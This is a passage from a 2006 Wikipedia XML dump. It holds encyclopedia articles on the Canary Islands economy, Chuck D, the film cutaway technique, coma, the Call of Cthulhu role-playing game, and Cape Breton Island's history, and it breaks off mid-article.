The economy size is 25 billion euro (2001 [[Gross Domestic Product]] figures). This is two times the size of [[Costa Rica]]'s economy and one-third that   of [[Venezuela]]. A remarkable fact is that if you take into account their population and surface area, the Canary Islands have one of the most powerful economies of the Central Atlantic region, including the zone known as &quot;Macaronesian&quot; (which includes [[Cape Verde]], [[Madeira]], [[Azores]] and the Canary Islands). The islands experienced continued growth during a consecutive 20 year period, up until 2001, at a rate of approximately 5% annually. This growth was fuelled mainly by huge amounts of [[Foreign Direct Investment]], mostly to develop tourism real estate (hotels and apartments) and European Funds (near 11 billion euro in the period from 2000 to 2007) since the Canary Islands is labeled Region Objective 1 (eligible for euro structural funds).

The combination of high mountains, being a part of Europe, and clean air has made the [[Roque de los Muchachos]] peak (on La Palma island) a leading location for [[telescope]]s like the [[Grantecan]].

The islands are outside [[European Union]] customs territory, though politically within the EU. The [[ISO 3166-1 alpha-2|ISO 3166-1 α-2]] code ''IC'' is reserved for representing them in customs affairs.  Goods subject to Spanish customs and excise duties and Value Added Tax ([[VAT]]), such as [[tobacco]] or [[electronics|electronic]] goods, are therefore significantly cheaper in the Canaries. The islands do not have a separate [[TLD|Internet country code]] from the rest of Spain. The currency is the [[euro]].

Canarian time is [[WET]], one hour less than that of mainland [[Spain]] and the same as that of [[London]].

==See also==
*[http://www.heureka.clara.net/tenerife/canary.htm Las Islas Canarias]
* [[Canarian cuisine]]

* Spanish wikipedia: [http://es.wikipedia.org/wiki/Islas_Canarias Islas Canarias]

==Sources and References==
*[http://www.cia.gov/cia/publications/factbook/fields/2070.html Reference: CIA World Factbook]
*Alfred Crosby, ''Ecological Imperialism : The Biological Expansion of Europe, 900-1900'' (Cambridge University Press) ISBN 0521456908
*[http://www.worldstatesmen.org/Canary_Islands.html WorldStatesmen]
* [http://www.cia.gov/cia/publications/factbook/fields/2070.html International Territorial Disputes]

==Other External links==
{{Commons|Category:Canary Islands}}
*[http://www.grancanaria.com/ Gran Canaria] (portal of Gran Canaria, in Spanish, English, German, French, Swedish)
*[http://www.heureka.clara.net/tenerife/tenerife.htm Tenerife]
*[http://www.sun4free.com/ Tenerife] (Information site about the largest island in the Canaries) 
*[http://www.islanzarote.com/ Lanzarote] (the portal of Lanzarote Island, in Spanish/English/French/German) 
*[http://www.icanarias.com/ Lanzarote] (Travel Information about Lanzarote, in Spanish/English/French/German)
*[http://www.sunnyfuerteventura.com/ Fuerteventura] (Comprehensive guide to the island of Fuerteventura)
* Fuerteventura [http://www.geocities.com/fuerteventuraholidayhomes/] Information about Fuerteventura 
*[http://www.grancanarianet.com Info, maps and forum about Gran Canaria]
*[http://www.excursiononline.com Tourist Activities in the Canaries]
*[http://www.atlas101.com/lapalmalinks.html La Palma web Links]
* [http://www.fotosantiguascanarias.org/fotos.cfm Old photos Canary Islands and the Canary Islanders]
*[http://www.fotocommunity.com/pc/pc/cat/168 Pictures from the Canary Islands]
*[http://news.bbc.co.uk/2/hi/science/nature/3963563.stm Canary Islands pose little risk of mega-tsunami]
*[http://www.msnbc.msn.com/id/5652141/ Scientist warns of Atlantic tidal wave]
*[http://www.acadian-cajun.com/canary.htm Canary Island Settlers of Louisiana]
*[http://www.gobiernodecanarias.org/istac/] Official Statistics about Canary Islands
*[http://www.canary-island-map.com/ Canary Island Map] (Information and Maps about each Island)

{{Canary Islands}}

{{Spain}}

[[Category:Canary Islands|Canary Islands]]
[[Category:Islands of Spain]]
[[Category:NUTS 2 Statistical Regions of Europe]]
[[Category:Special territories of the European Union]]
[[Category:Spain geography stubs]]

[[af:Kanariese-eilande]]
[[als:Kanarische Inseln]]
[[ar:منطقة جزر الكناري الذاتية الحكم]]
[[an:Canarias]]
[[ast:Canaries]]
[[zh-min-nan:Canaria Kûn-tó]]
[[be:Канарскі архіпэляг]]
[[ca:Illes Canàries]]
[[cs:Kanárské ostrovy]]
[[da:De Kanariske Øer]]
[[de:Kanarische Inseln]]
[[et:Kanaari saared]]
[[es:Canarias]]
[[eo:Kanarioj]]
[[eu:Kanariar Uharteak]]
[[fa:جزایر قناری]]
[[fr:Canaries]]
[[fy:Kanaryske Eilannen]]
[[gl:Illas Canarias]]
[[ko:카나리아 제도]]
[[hr:Kanari]]
[[id:Kepulauan Canary]]
[[ia:Canarias]]
[[is:Kanaríeyjar]]
[[it:Isole Canarie]]
[[hu:Kanári-szigetek]]
[[nl:Canarische Eilanden]]
[[ja:カナリア諸島]]
[[no:Kanariøyene]]
[[pl:Wyspy Kanaryjskie]]
[[pt:Canárias]]
[[ro:Insulele Canare]]
[[ru:Канарские острова]]
[[sl:Kanarski otoki]]
[[fi:Kanariansaaret]]
[[sv:Kanarieöarna]]
[[vi:Quần đảo Canaria]]
[[uk:Канарські острови]]
[[zh:加那利群岛]]</text>
    </revision>
  </page>
  <page>
    <title>Chuck D</title>
    <id>5718</id>
    <revision>
      <id>39840436</id>
      <timestamp>2006-02-16T05:19:41Z</timestamp>
      <contributor>
        <username>TimMony</username>
        <id>123108</id>
      </contributor>
      <comment>rv to last by ZS</comment>
      <text xml:space="preserve">[[Image:Mistachuck.jpg|right|thumb|Cover of &quot;Autobiography of Mistachuck&quot;]]

'''Chuck D''' (real name: '''Carlton Douglas Ridenhour,''' born [[August 1]], [[1960]]) is a rapper, composer, actor, author, radio personality and producer.  Chuck was born in [[Roosevelt]], [[Long Island, New York|Long Island]], [[New York]], [[United States|USA]].  He helped further [[1980s]] political [[rap music]] as the controversial and influential lead rapper of [[Public Enemy]]. 

After graduating from [[Roosevelt Junior-Senior High School]], Chuck went to [[Adelphi University]] in [[Long Island, New York]]. During his rap career, he helped give voice to the black consciousness. 

Ridenhour also contributed (as Chuck D) to several episodes of the [[PBS]] [[Television documentary|documentary]] series ''[[The Blues]]''.

In 1996 he released [[Autobiography Of Mistachuck]] on [[Mercury Records]].

In September, 1999, he launched a multi-format &quot;supersite&quot; on the Web, Rapstation.com. A home for the vast global Hip Hop community, the site boasts a TV and radio station with original programming, a slew of Hip Hop's most prominent DJs, celebrity interviews, free [[MP3]] downloads (the first was contributed by multi-platinum rapper [[Coolio]]), social commentary, current events, and regular features dedicated to empowering rap artists with the knowledge to turn their craft into a viable living.

Since [[2000]], he has been one of the most vocal supporters of Internet music [[file sharing]] in the music industry.

Chuck has been increasingly involved politically. He co-hosted ''[[Unfiltered]]'' on [[Air America Radio]], he has testified before [[Congress]] about [[P2P]], and was involved in a [[2004]] rap political convention.

He continues to be an [[activism|activist]], publisher, lecturer, and producer. He is the co-writer of the essay book ''Fight the Power: Rap, Race, and Reality'', along with [[Yusuf Jah]] (ISBN 0385318685) and film director [[Spike Lee]].

He loaned his voice to ''[[Grand Theft Auto: San Andreas]]'' as DJ Forth Right MC for the radio station [[Grand Theft Auto: San Andreas soundtrack#Playback FM|Playback FM]].

On [[June 5]], [[2005]], Chuck D returned to [[Air America Radio]] with a new show, [[On The Real]].

In anger at the New Orleans [[Hurricane Katrina]] disaster, Public Enemy came back with the song 'Hell No We Ain't All Right!' and a new album ''[[New Whirl Odor]]''.

== [[Discography]] ==

with Public Enemy:
* ''[[Yo! Bum Rush The Show]]'' (1987)
* ''[[It Takes a Nation of Millions to Hold Us Back]]'' (1988)
* ''[[Fight the Power...Live!]]'' (video and album, 1989)
* ''[[Fear of a Black Planet]]'' (1990)
* ''[[Apocalypse '91...The Enemy Strikes Black]]'' (1991)
* ''[[Greatest Misses]]'' 1986-1992 (1992)
* ''[[Muse Sick-n-Hour Mess Age]]'' (1994)
* ''[[He Got Game]]'' (1998)
* ''[[BTN 2000]]'' (online released mega-mix which initialized PE's leaving [[Def Jam]] records) (1999)
* ''[[There's A Poison Goin On]]'' (1999)
* ''[[Revolverlution]]'' (2002)
* ''[[There's A Poison Goin On]]'' (worldwide re-release via [[Slamjamz.com]]) (2004)
* ''[[New Whirl Odor]]'' (2005)
In addition, before the 2004 Presidential Election, Public Enemy released the highly anti-Bush EP SON OF A BUSH that contained the songs &quot;Son of a Bush&quot;, &quot;Get Your Shit Together&quot; and the song featuring Fine Arts Mililia (featuring Chuck D) entitled &quot;Twisted Sense of God&quot;.

He also brought out a very soulful [[1996]] solo record, ''[[The Autobiography of Mistachuck]]'' (on [[Mercury Records]]) and founded the record company Slam Jamz. 

with Fine Arts Militia: 
* ''[[Fine Arts Militia]]'' ([[2003]])



==External links==
* [http://www.rapstation.com/ rapstation.com, Chuck D's official site]
* {{imdb name|id=0195982|name=Chuck D}}
* [[Rolling Stone]]'s [http://www.rollingstone.com/artists/bio.asp?oid=3771&amp;cf=3771 Chuck D]
* [http://www.robertchristgau.com/xg/music/chuckd-91.php Chuck D interview] with the Village Voice.  October 22, 1991.
* [http://www.publicenemy.com/ Public Enemy Official Website]
* [http://www.splangy.com/realaudio/chuckd.ram Realaudio interview] with Chuck D on public radio program / podcast [[The Sound of Young America]]

{{AAR}}

[[Category:1960 births|Chuck D]]
[[Category:Living people|Chuck D]]
[[Category:American activists]]
[[Category:Air America Radio|Chuck D]]
[[Category:Alternative hip hop musicians]]
[[Category:American radio personalities|Chuck D]]
[[Category:American rappers]]
[[Category:Musical activists]]
[[Category:Long Islanders|Chuck D]]

[[de:Chuck D]]
[[es:Chuck D]]
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[[sv:Chuck D]]</text>
    </revision>
  </page>
  <page>
    <title>Cutaway (film)</title>
    <id>5719</id>
    <revision>
      <id>31727669</id>
      <timestamp>2005-12-17T13:17:08Z</timestamp>
      <contributor>
        <ip>193.251.135.124</ip>
      </contributor>
      <text xml:space="preserve">In film, a '''cutaway''' is the interruption of a continuously-filmed action by inserting a view of something else. It is usually followed by a cutback to the first shot. 

Probably its most common uses in dramatic films are to adjust the pace of the main action, to conceal the deletion of some unwanted part of the main shot, or to allow the joining of parts of two versions of that shot. For example, a scene may be improved by cutting a few frames out of an actor's pause; a brief view of some listener can help conceal the break. Or the actor may fumble some of his lines in a group shot; rather than discarding a good version of the shot, the director may just have the actor repeat the lines &quot;in one&quot; and cut to that solitary view when necessary--some actors have fumbled their lines deliberately to get that treatment.

These are [[journeyman]] techniques. Cutaways can also be used for reasons of art. 

One example of a cutaway being used deliberately to break continuity, for comedic effect, appears in ''[[Shoot the Piano Player]]'' ''(Tirez sur le pianiste)'', by [[François Truffaut]]: the pianist and his female companion are being followed; she opens her compact and uses it to show him the two gangsters behind them, impossibly large in the reflection.

[[The Simpsons]] and [[Family Guy]] both used cutaways widely to introduce brief gags before returning to the episode's main storyline, although The Simpsons cut back and eventually eliminated cutaways when the technique was adopted by Family Guy.

[[Cross cutting]] is a series of cutaways and cutbacks.

In news and documentary work, the cutaway is used much as it would be in fiction. On location, there is usually just one camera to film an interview, and it's usually trained on the interviewee. Often there is only one microphone. After the interview, the interviewer will usually repeat his questions while he himself is being filmed, with pauses as he pretends to listen to the answers. (The comedy ''[[Micki and Maude]]'' shows this process quite accurately.) These shots can be used as cutaways. They may be necessary just to ensure that the audience can hear the questions correctly.

''Compare with:'' [[Insert (film)|Insert]]
----
In [[graphic art]], a '''cutaway''' is used to show the insides of an object by cutting away its outside layers or parts.

----
In [[clothing]], a '''cutaway''' another name for a man's [[morning coat]].

[[Category:Film techniques]]</text>
    </revision>
  </page>
  <page>
    <title>Coma</title>
    <id>5721</id>
    <revision>
      <id>42108898</id>
      <timestamp>2006-03-03T21:59:25Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Expert}}
{{cleanup-date|August 2005}}
:''For other meanings of the word &quot;coma&quot;, especially in [[astronomy]], see [[coma (disambiguation)]]''

{{SignSymptom infobox |
  Name        = Coma |
  ICD9       = 780.01 |
  ICD10        = R40.2 |
}}

In [[medicine]], a '''coma''' (from the [[Greek language|Greek]] ''koma'', meaning deep sleep) is a profound state of [[unconsciousness]].  A comatose patient cannot be awakened, fails to respond properly or at all to stimuli such as pain or light, does not have sleep-wake cycles, and does not take voluntary actions (BAIUSA).  Coma may result from a variety of conditions, including [[intoxication]], [[metabolism|metabolic]] abnormalities, central nervous system diseases, and [[Hypoxia (medical)|hypoxia]]. 

==Causes==
An impairment that affects a large part of the brain, called [[diffuse pathology]], is the most common cause of coma, accounting for about 60% of the cases. To maintain consciousness, the brain requires the correct temperature, pressure, [[pH]], oxygenation, and nutrients; denying the brain any of these necessities will lead to coma.  A variety of common causes of coma can be classified as diffuse pathologies.  For example, head trauma associated with an increased [[intracranial pressure]] can lead to coma by compressing delicate brain tissue, as can [[subarachnoid hemorrhage]].  Various toxins can also lead to coma, including [[poison]]s, [[ethanol|alcohol]], [[barbiturate]]s, [[opiate]] narcotics, [[sedative]]s, [[amphetamine]]s, [[cocaine]] and [[aspirin]].  Metabolic abnormalities that lead to either elevated or reduced glucose levels in the blood, liver or kidney failure, [[Hypoxia (medical)|hypoxia]] (poor oxygenation), and [[electrolyte]] imbalances can also produce unconsciousness.  [[Seizure]] disorders and [[central nervous system]] [[infection]]s, such as [[meningitis]] and [[encephalitis]], are further examples.  

Coma can also be caused by focal lesions, those that affect only a small part of the brain and may be either supratentorial or infratentorial.  Focal [[tentorium|supratentorial]] injuries account for 30% of coma cases, and can be caused by problems with [[Vascular System|blood vessels]] or by expansive lesions such as [[neoplasia]] or [[hydrocephalus]].  

Focal infratentorial lesions account for the remaining 10% of comas, and can be of vascular nature, expansive or [[myelin|demyelinating]] lesions.

Medical professionals may intentionally [[induced coma|induce a coma]] with drugs to reduce swelling of the brain after injury.

==Contrasts to other conditions==
Some conditions share characteristics with coma and must be ruled out in a [[differential diagnosis]] before coma is conclusively diagnosed. These include [[locked-In syndrome]], [[Akinesia|akinetic mutism]] and [[catatonic stupor]].

The difference between coma and [[stupor]] is that a patient with coma cannot give a suitable response to either noxious or verbal stimuli, whereas a patient in a stupor can give a crude response, such as screaming, to an unpleasant stimulus.

Some psychiatric diseases appear similar to coma. Some forms of [[schizophrenia]], [[catatonia]], and extremely severe [[major depression]] are responsibile for behaviour that appears comatose.

Coma is also to be distinguished from the [[persistent vegetative state]] which may follow it. This is a condition in which the individual has lost cognitive neurological function and awareness of the environment but does have noncognitive function and a preserved sleep-wake cycle. Spontaneous movements may occur and the [[eye]]s may open in response to external stimuli, but the patient does not speak or obey commands. Patients in a vegetative state may appear somewhat normal and may occasionally grimace, cry, or laugh.

Likewise, coma is not the same as [[brain death]], which is the irreversible cessation of ''all'' brain activity. One can be in a coma but still exhibit spontaneous [[Respiration (physiology)|respiration]]; one who is brain-dead, by definition, cannot.

Coma is different from [[sleep]]; sleep is always reversible.

==Outcome==
There are several levels of coma, through which patients may or may not progress. As coma deepens, responsiveness of the brain lessens, normal reflexes are lost, and the patient no longer responds to pain. The chances of recovery depend on the severity of the underlying cause. A deeper coma alone does not necessarily mean a slimmer chance of recovery, because some people in deep coma recover well while others in a so-called milder coma sometimes fail to improve.

The outcome for coma and vegetative state depends on the cause, location, severity and extent of neurological damage: outcomes range from recovery to [[death]]. People may emerge from a coma with a combination of physical, intellectual and psychological difficulties that need special attention. Recovery usually occurs gradually, with patients acquiring more and more ability to respond. Some patients never progress beyond very basic responses, but many recover full awareness.  Gaining consciousness again is not instant: in the first days, patients are only awake for a few minutes, and duration of time awake gradually increases.  

Coma generally lasts a few days to a few weeks, and rarely lasts more than 2 to 4 weeks. After this time, some patients gradually come out of the coma, some progress to a [[vegetative state]], and others die.  Many patients who have gone into a vegetative state go on to regain a degree of awareness. Others may remain in a vegetative state for years or even decades. Predicted chances of recovery are variable due to different techniques used to measure the extent of neurological damage. All the predictions are [[statistical]] rates with some level of chance for recovery present: a person with a low chance of recovery may still awaken. Time is the best general predictor of a chance for recovery, with the chances for recovery after 3 months of [[brain damage]] induced coma being low (less than 10%), and full recovery being very low. [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&amp;db=pubmed&amp;dopt=Abstract&amp;list_uids=15118882&amp;query_hl=5] [http://www.braininjury.com/coma.html]

The most common cause of death for a person in a vegetative state is secondary [[infection]] such as [[pneumonia]] which can occur in patients who lie still for extended periods.

==Controversy==
There have been controversies and legal cases over whether to keep comatose patients alive for long periods using [[life support|life support equipment]].  Two such cases are those of [[Karen Ann Quinlan]] and [[Terri Schiavo]].  However, these individuals were not in a ''coma'' per se but were in a ''[[persistent vegetative state]]''.

==Diagnosis and treatment==
The [[Glasgow Coma Scale]] is used to quantify the severity of a coma. There are three components to the score: '''E'''ye opening response, '''V'''erbal response, and '''M'''otor response.

In Germany, music therapy is used to quicken the awakening traject.

In Belgium a project is set up to train dogs' and cats' &quot;sixth sense&quot; to warn patients and medical staff that a coma patient has awakened.

==References==
* Brain Injury Association of America (BIAUSA). [http://www.biausa.org/Pages/types_of_brain_injury.html#diffuse Types of Brain Injury].  


* ''This article contains text from the NINDS public domain pages on TBI at:''
#http://www.ninds.nih.gov/health_and_medical/disorders/tbi_doc.htm
#http://www.ninds.nih.gov/health_and_medical/pubs/tbi.htm

* Some of the information in this section is from the [[public domain resource]] provided by the [http://www.ninds.nih.gov/health_and_medical/disorders/coma_doc.htm National Institute of Neurological Diseases and Stroke].


[[Category:Neurology]]
[[Category:Intensive care medicine]]
[[Category:Emergency medicine]]

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  <page>
    <title>Call of Cthulhu (role-playing game)</title>
    <id>5722</id>
    <revision>
      <id>41193300</id>
      <timestamp>2006-02-25T18:13:19Z</timestamp>
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        <username>David Latapie</username>
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      <comment>/* d20 Call of Cthulhu */</comment>
      <text xml:space="preserve">{{Infobox RPG
|title=Call of Cthulhu
|image=[[Image:call_of_cthulhu_rpg_6th_ed_cover.gif]]
|caption=''Call of Cthulhu'' 6th edition rulebook cover
|designer=[[Sandy Petersen]]
|publisher=[[Chaosium]]
|date=1981
|genre=Horror
|system=Basic Role Playing (BRP)&lt;br&gt;([[d20 system]] version also available)
}}
'''Call of Cthulhu''' is a [[horror fiction]] [[role-playing game]] based on the [[The Call of Cthulhu|story of the same name]] written by [[H. P. Lovecraft]] and the so-called [[Cthulhu Mythos]] the story inspired. The game, often abbreviated as ''CoC'', is published by [[Chaosium]].

==Setting==
&quot;That is not dead which can eternal lie.
And with strange aeons even death may die.&quot;

The setting of Call of Cthulhu is a darker version of our world, based on H.P. Lovecraft's observation that, &quot;The oldest and strongest emotion of mankind is fear, and the strongest kind of fear is fear of the unknown.&quot; There are three primary eras of the original (non d20) game: the 1920s, the setting of many of Lovecraft's stories; the 1890s ''Gaslight'' supplements, a blend of occult and Holmsian mystery and mostly set in England; and modern conspiracy (''Cthulhu Now''). Recent additions include 1000 AD (''Cthulhu: Dark Ages''), and Roman times (''Cthulhu Invictus''). The protagonists may also travel to places that are not of this earth, represented in the Dreamlands.

===Gameplay experience===
The players take the roles of ordinary people, drawn into the realm of the mysterious: detectives, criminals, scholars, artists, war veterans, etc. Often, happenings begin innocently enough, until more and more of the workings behind the scenes are revealed. As the characters learn more of the true horrors of the world and the irrelevance of humanity, their sanity inevitably withers away (the game actually includes a mechanism for determining how damaged a character's sanity is at any given point).  To access the tools they need to defeat the horrors - mystic knowledge and magic - the characters must be willing to give up some of the their sanity for the greater good.

Call of Cthulhu has a perhaps-deserved reputation as a game in which it is quite common for a [[player character]] to die in gruesome circumstances or end up in a mental institution, and players must often start again with new characters. While arguably being more realistic, it can also make it hard for players to bond with their characters.

For as long as they stay healthy (or at least functional), characters may be developed. Call of Cthulhu does not use [[Experience point|level]]s, but is completely skill-based, arguably presenting a more realistic character-development system, as player characters get better with their skills by succeeding at them. Still, it is possible for a well-played character to last a long time, other factors permitting.

==History==
===Origins===
The original conception of Call of Cthulhu was ''Dark Worlds'', a game commissioned by the publisher [[Chaosium]] but never published. [[Sandy Petersen]], now best known for his work on the ''[[Doom]]'' [[personal computer game|computer game]], contacted them regarding writing a supplement for their popular fantasy game [[RuneQuest]] set in Lovecraft's [[Dreamlands]].  He took over the writing of Call of Cthulhu, and the game was released in 1981, using a simplified version of the [[Basic Role-Playing]] system used in ''RuneQuest''.  The game won three major awards in the following year.

The game is now in its sixth edition, but the rules have changed little over the years.  In 2002, the ''Call of Cthulhu 20th Anniversary Edition'' won the [[Origins Award]] for ''Best Graphic Presentation of a Book Product 2001''.

===Early releases===
Given its roots in the RPG tradition, many of the early releases for Call of Cthulhu were still based in the framework of ''[[Dungeons &amp; Dragons]]''.  They often involved the characters wandering through caves and fighting different types of horrible monsters.  Nonetheless, the emphasis on real-life settings, character research, and thinking one's way around trouble gave it a wide audience.

The first book of Call of Cthulhu adventures was ''Shadows of Yog-Sothoth''.  In this work, the characters come upon a secret society's foul plot to destroy mankind, and pursue it first near to home and then in a series of exotic locations. This template was to be followed in many subsequent campaigns, including ''Fungi from Yuggoth'' (later known as ''Curse of Cthulhu'' and ''Day of the Beast''), ''Spawn of Azathoth'', and the most famous, ''Masks of Nyarlathotep''.  Many of these seem closer in tone to the pulp adventures of ''[[Indiana Jones]]'' than H. P. Lovecraft, but they are nonetheless beloved by many gamers.

===Lovecraft Country===
{{main|Lovecraft Country}}

''Lovecraft Country'' was a line of supplements for ''Call of Cthulhu'' released in 1990. These supplements were overseen by [[Keith Herber]] and provided backgrounds and adventures set in Lovecraft's fictional towns of [[Arkham]], [[Kingsport (Lovecraft)|Kingsport]], [[Innsmouth]], [[Dunwich (H. P. Lovecraft)|Dunwich]], and their environs. The intent was to give investigators a common base, as well as to center the action on well-drawn characters with clear motivations. With the departure of Herber, Chaosium's line ended.

===Mythos===
[[Mythos]] was a [[collectible card game]] based on the Cthulhu Mythos that Chaosium produced and marketed during the mid-Nineties.  While generally praised for its fast gameplay and unique mechanics, it ultimately failed to gain a very large market presence.  It bears mention because its eventual failure brought the company to hard times that affected its ability to produce material for Call of Cthulhu.  A second Call of Cthulhu collectible card game is currently being produced by Fantasy Flight Games.

===Recent history===
In the last eight years, since the collapse of the Mythos CCG, the release of CoC books has been very sporadic with up to a year between releases. Chaosium struggled with near bankruptcy for many years before finally starting their upward climb again. [[2005]] was their best year for many years with ten releases for the game and many more scheduled for release in the near future.

Chaosium has recently taken to marketing &quot;monographs&quot; - short books by individual writers with editing and layout provided out-of-house - directly to the consumer.  This allows the company to gauge market response to possible new works, though the long-term effects of this program remain uncertain.

==Licensees==
Chaosium has licensed other publishers to create supplements, including [[Delta Green]] by [[Pagan Publishing]].  Other licensees have included [[Theater of the Mind Enterprises]], [[Triad Entertainment]], [[Games Workshop]], [[Fantasy Flight Games]], and [[Grenadier Models]].

==d20 Call of Cthulhu==
In 2001, a stand-alone version of Call of Cthulhu was released by [[Wizards of the Coast]], for the [[d20 system]]. Intended to preserve the feeling of the original game, the conversion of the game rules were supposed to make the game easier to play, a claim many doubt. The d20 system also made it possible to use ''[[Dungeons &amp; Dragons]]'' characters in Call of Cthulhu, as well as to introduce the Cthulhu Mythos into ''Dungeons &amp; Dragons'' games. The game's reception was mixed, with some rejecting it outright and others liking or even loving the d20 version, including some who enjoyed the original.

The d20 version of the game is not supported by either Wizards or Chaosium at this time. The reasons for this are unclear, though lack of revenue may be the cause.

== See also ==
* ''[[Call of Cthulhu: Dark Corners of the Earth]]'' video game

==External links==
* [http://www.chaosium.com Chaosium]
* [http://www.yog-sothoth.com/ Yog-Sothoth] &amp;mdash; [[Horror fiction|Horror]] [[role-playing games|roleplaying]] in the worlds of H.P. Lovecraft
* [http://yog-sothoth.com/modules.php?name=Content&amp;pa=showpage&amp;pid=31 Call of Cthulhu Products Database] &amp;mdash; A mostly-complete listing of all products produced for the game

[[Category:Basic Role-Playing System]]
[[Category:Cthulhu mythos]]
[[Category:d20 System]]
[[Category:Horror role-playing games]]
[[Category:Origins award winners]]

[[de:Call of Cthulhu (Spiel)]]
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  <page>
    <title>Constellations</title>
    <id>5723</id>
    <revision>
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      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Constellation]]
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  </page>
  <page>
    <title>Cape Breton Island</title>
    <id>5724</id>
    <revision>
      <id>40056165</id>
      <timestamp>2006-02-17T20:37:53Z</timestamp>
      <contributor>
        <ip>4.22.69.25</ip>
      </contributor>
      <comment>Typo: missing &quot; )&quot; after &quot;present day peninsular Nova Scotia and New Brusnwick&quot;</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right; width: 202px; margin: 0 0 1em 1em;&quot;&gt;[[Image:Map of Nova Scotia highlighting Cape Breton Island.png]]&lt;/div&gt;
[[Image:Cape breton island.png|thumb|200px|Cape Breton Island, Nova Scotia, Canada]]

'''Cape Breton Island''' ([[French language|French]]: ''île du Cap-Breton'', [[Scottish Gaelic]]: ''Eilean Cheap Breatuinn'', [[Mi'kmaq language|Mi'kmaq]]: ''U'namakika'', simply: ''Cape Breton'') is an [[island]] on the [[Atlantic Ocean|Atlantic]] coast of [[North America]].  Its name likely derives from the term &quot;Breton&quot;, referring to [[Brittany]] and the [[Basque]] region of [[France]] near [[Bayonne]].

Cape Breton Island is part of the province of [[Nova Scotia]], [[Canada]], although physically separated from the [[peninsula|peninsular]] Nova Scotian [[mainland]] by the [[Strait of Canso]].  The island is located east-northeast of the mainland with its northern and western [[coast]]s fronting on the [[Gulf of St. Lawrence]]; its western coast also forming the eastern limits of the [[Northumberland Strait]]. The eastern and southern coasts front the Atlantic Ocean; its eastern coast also forming the western limits of the [[Cabot Strait]]. Its landmass slopes upward from south to north, culminating in the [[highlands]] of its northern cape. A saltwater estuary, [[Bras d'Or Lake]], dominates the centre of the island.

The population of Cape Breton Island as of the [[2001]] census numbers approximately 147,454 &quot;Cape Bretoners&quot;; this is approximately 16% of the provincial population.  Cape Breton Island has experienced a decline in population of approximately 7% since the previous census in [[1996]].  Approximately 75% of the island's population is located in the [[Cape Breton Regional Municipality, Nova Scotia|Cape Breton Regional Municipality]] (CBRM) which takes in all of [[Cape Breton County, Nova Scotia|Cape Breton County]] and is commonly termed &quot;Industrial Cape Breton&quot;, given the history of [[coal]] mining and steel manufacturing in this area.

==History==

* [[Industrial history of Cape Breton Island]]
* [[Settlement history of Cape Breton Island]]
* [[Military history of Cape Breton Island]]
* [[Political history of Cape Breton Island]]

Cape Breton Island's first residents were likely [[Archaic stage|Maritime Archaic Indians]], ancestors of the [[Mi'kmaq]] Nation, who later inhabited the island at the time of European discovery.  [[Giovanni Caboto]] (John Cabot) reportedly visited the island in [[1497]] to become the first [[Renaissance|Renaissance Europe]]an explorer to visit present-day Canada. However, historians are unclear as to whether Caboto first visited [[Newfoundland]] or Cape Breton Island.  This discovery is commemorated by [[Cape Breton]]'s [[Cabot Trail]].

The island saw active settlement by [[France]] with the island being included in the colony of [[Acadia]]. A French [[garrison]] was established in the central eastern part at [[St. Ann's, Nova Scotia|Ste-Ann]] in the early [[18th century]] before relocating to a much larger fortification at [[Fortress Louisbourg|Louisbourg]] so as to improve defences at the entrance to the [[Gulf of St. Lawrence]] and defend France's fishing fleet on the [[Grand Banks]].  The French named the island &quot;Île Royale.&quot;  It remained part of [[New France|colonial France]] until it was ceded to the [[Kingdom of Great Britain|Britain]] under the [[Treaty of Paris (1763)|Treaty of Paris]] in [[1763]].  Britain merged the island with its adjacent colony of Nova Scotia (present day peninsular Nova Scotia and [[New Brunswick]]).

Some of the first British-sanctioned settlers to the island following the [[Seven Years' War]] were [[Ireland|Irish]], although upon settlement, they merged with local French communities to form a culture both rich in music and tradition.  From [[1763]] to [[1784]] the island was administratively part of the colony of [[Nova Scotia]] and governed from [[Halifax Regional Muncipality, Nova Scotia|Halifax]].

In [[1784]], Britain split the colony of Nova Scotia into three separate colonies:  New Brunswick, Cape Breton Island, and present-day peninsular Nova Scotia, in addition to the adjacent colonies of [[Prince Edward Island]] and [[Newfoundland]].  The colony of Cape Breton Island had its capital at [[Sydney, Nova Scotia|Sydney]] on its namesake harbour fronting on Spanish Bay and the [[Cabot Strait]]. Its first Lieutenant-Governor was [[Joseph Frederick Wallet DesBarres]] (1784&amp;ndash;1787) and his successor was [[William Macarmick]] (1787).

An order forbidding the granting of land in Cape Breton, issued in 1763, was removed in 1784. The mineral rights to the island were given over to the Crown by an order-in-council. The British government had intended that the Crown take over the operation of the mines when Cape Breton was made a colony, but this was never done, probably because of the rehabilitation cost of the mines. The mines were in a neglected state, caused by careless operations dating back at least to the time of the final fall of Louisbourg. 

In 1820, the colony of Cape Breton Island was merged for the second time with Nova Scotia; this being present-day peninsular Nova Scotia.  This development is one of the factors which led to large-scale industrial development in the Sydney Coal Field of eastern Cape Breton County (see [[Industrial history of Cape Breton Island]]). By the late 19th century, as a result of the faster shipping, expanding fishery and industrialization of the island, exchanges of people between the island of [[Newfoundland]] and Cape Breton increased beginning a cultural exchange that continues to this day. 

During the first half of the [[19th century]], Cape Breton Island experienced an influx of [[Highland Scots]] numbering approximately 50,000; a result of the [[Highland Clearances]].  Today the descendants of the Highland Scots dominate Cape Breton Island's culture, particularly in rural communities.  To this day [[Canadian Gaelic|Gaelic]] is still the first language of a number of elderly Cape Bretonners.  A campaign by the provincial government during the 19th and early [[20th century|20th]] centuries aimed to eradicate the use of Gaelic among school children.  The growing influence of English-dominated media from outside the Scottish communities saw the use of this language erode quickly during the [[20th century]].

Tourism promotions beginning in the [[1950s]] recognized the importance of the Scottish culture to the province (although it wasn't dominant throughout Nova Scotia), and the provincial government started encouraging the use of Gaelic once again.  The establishment of funding for the [[Gaelic College of Celtic Arts and Crafts]] and formal Gaelic language [[instruction]] in public schools are intended to address the near-loss of this culture to English [[cultural assimilation|assimilation]].

The turn of the [[20th century]] saw Cape Breton Island at the forefront of scientific achievement with the now-famous activities launched by inventors [[Alexander Graham Bell]] and [[Guglielmo Marconi]].

